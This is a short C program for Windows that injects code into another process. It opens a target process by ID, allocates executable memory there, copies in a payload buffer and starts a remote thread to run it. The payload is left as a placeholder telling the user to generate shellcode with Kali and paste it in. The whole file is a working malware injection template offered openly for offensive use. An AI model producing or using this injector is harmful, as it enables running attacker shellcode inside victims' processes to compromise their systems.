#include<windows.h>
#include<stdio.h>
#include<stdlib.h>
#include<string.h>


unsigned char payload[ ] = 
<generate your shellcode from kali and paste it here>



int main(int argc, char* argv[]) 
{
  
	 // Parse the target process ID
  	printf("Target Process ID: %i\n", atoi(argv[1]));

  	HANDLE pHandle = OpenProcess( PROCESS_ALL_ACCESS, FALSE, (DWORD)atoi(argv[1]) );

 	// Allocate memory in the target process 
	void  *alloc_memory; // memory buffer in the remote process
  	
  	alloc_memory = VirtualAllocEx( pHandle, NULL, sizeof(payload), (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);

  	// Copy payload data from our process to the remote process
  	WriteProcessMemory( pHandle, alloc_memory, payload, sizeof(payload) , NULL);

  	// Create a remote thread in the target process to execute our payload

  	HANDLE remote_thread = CreateRemoteThread( pHandle, NULL, 0, (LPTHREAD_START_ROUTINE)alloc_memory, NULL, 0, NULL);
  
  	// Clean up and close the process handle
  	CloseHandle(pHandle);

  	return 0;
}
